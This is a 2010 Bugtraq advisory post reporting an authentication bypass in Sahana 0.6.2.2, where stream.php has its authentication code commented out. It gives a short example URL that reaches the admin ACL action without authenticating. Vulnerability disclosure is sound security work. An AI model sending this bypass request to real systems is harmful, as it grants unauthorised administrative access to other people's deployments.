bugtraq - Sahana 0.6.2.2 Authentication Bypass

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <1073bc3d1003170954s2ebffeffy7e65bee287325154@mail.gmail.com>
Date: Wed, 17 Mar 2010 12:54:30 -0400
From: Christopher <vooduhal@...il.com>
To: bugtraq@...urityfocus.com
Subject: Sahana 0.6.2.2 Authentication Bypass

Ability to completely disable authentication via stream.php and commented
out module authentication code within it.

http://victim/<sahana_path>/index.php?mod=admin&act=acl_enable_acl
Authenticates correctly.

http://victim/<sahana_path>/stream.php?mod=admin&act=acl_enable_acl
Does not.